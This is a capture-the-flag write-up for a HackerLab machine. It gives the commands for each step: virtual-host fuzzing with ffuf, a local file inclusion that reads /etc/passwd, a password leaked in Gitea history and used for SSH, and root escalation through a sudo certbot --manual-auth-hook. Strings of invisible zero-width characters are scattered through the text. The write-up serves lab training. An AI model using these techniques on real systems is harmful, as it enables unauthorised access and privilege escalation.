Чайная кружка

Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-19 | Status: Solved Techniques: git_secrets_leak, gtfobins_certbot, local_file_inclusion, virtual_host_discovery

Summary

Task: Pentest machine with tea-themed name. Solution: phpinfo hostname leak leads to vhost enumeration, finding Gitea with password in git history, then privesc via sudo certbot --manual-auth-hook.

Чайная кружка — HackerLab

Description

"Как Вам чай в данном заведении?" IP: 192.168.2.214

Analysis

1. Reconnaissance

Nmap showed open ports:

• 22 (SSH)
• 80 (HTTP) — Apache 2.4.62 + PHP 8.3.19

On the main page found phpinfo(), which revealed hostname: teamug.cdb

2. Virtual Host Enumeration (KEY MOMENT)

Knowing the domain teamug.cdb, it was necessary to search for virtual hosts:

 bash read-only • copy allowed Copy
# Check subdomains
ffuf -w /path/to/subdomains.txt -H "Host: FUZZ.teamug.cdb" -u http://192.168.2.214/

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Found:

• landing.teamug.cdb — main site "Чайная кружка"
• gitlocalstore.teamug.cdb — Gitea server

 bash read-only • copy allowed Copy
curl -H "Host: landing.teamug.cdb" http://192.168.2.214/

3. LFI Vulnerability

On landing.teamug.cdb in download.php found Local File Inclusion:

 bash read-only • copy allowed Copy
# Works with absolute paths
curl -H "Host: landing.teamug.cdb" "http://192.168.2.214/download.php?file=/etc/passwd"

# Relative paths are filtered (../../../ doesn't work)

4. Gitea — Password Leak in Git History

On gitlocalstore.teamug.cdb runs Gitea 1.23.7. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

In the repository admin/Teamug in commit history found a commented password:

• Commit b39c139 — password added
• Commit 2c8ca24 — password removed

// Tmp password remove later na4d|GV%9e0*

Solution

5. SSH Access

Using the found password:

 bash read-only • copy allowed Copy
sshpass -p 'na4d|GV%9e0*' ssh manager@192.168.2.214

6. Privilege Escalation via certbot

 bash read-only • copy allowed Copy
sudo -l
# User manager may run the following commands on teamug:
#     (ALL) NOPASSWD: /usr/bin/certbot

Problem: SSL error due to server time being in the future (Aug 2025). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution: Use --no-verify-ssl flag and --manual-auth-hook to execute commands as root:

 bash read-only • copy allowed Copy
sudo /usr/bin/certbot certonly --manual --preferred-challenges http \
  --manual-auth-hook 'cat /root/flag.txt > /tmp/rootflag.txt; chmod 777 /tmp/rootflag.txt' \
  -d test.com --agree-tos --email test@test.com --no-eff-email -n \
  --config-dir /tmp/certbot2 --work-dir /tmp/certbot2 --logs-dir /tmp/certbot2 \
  --no-verify-ssl

cat /tmp/rootflag.txt

Attack Chain

phpinfo hostname leak → vhost enumeration → 
landing.teamug.cdb (LFI) + gitlocalstore.teamug.cdb (Gitea) →
git history password leak → SSH as manager →
sudo certbot → root via --manual-auth-hook

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍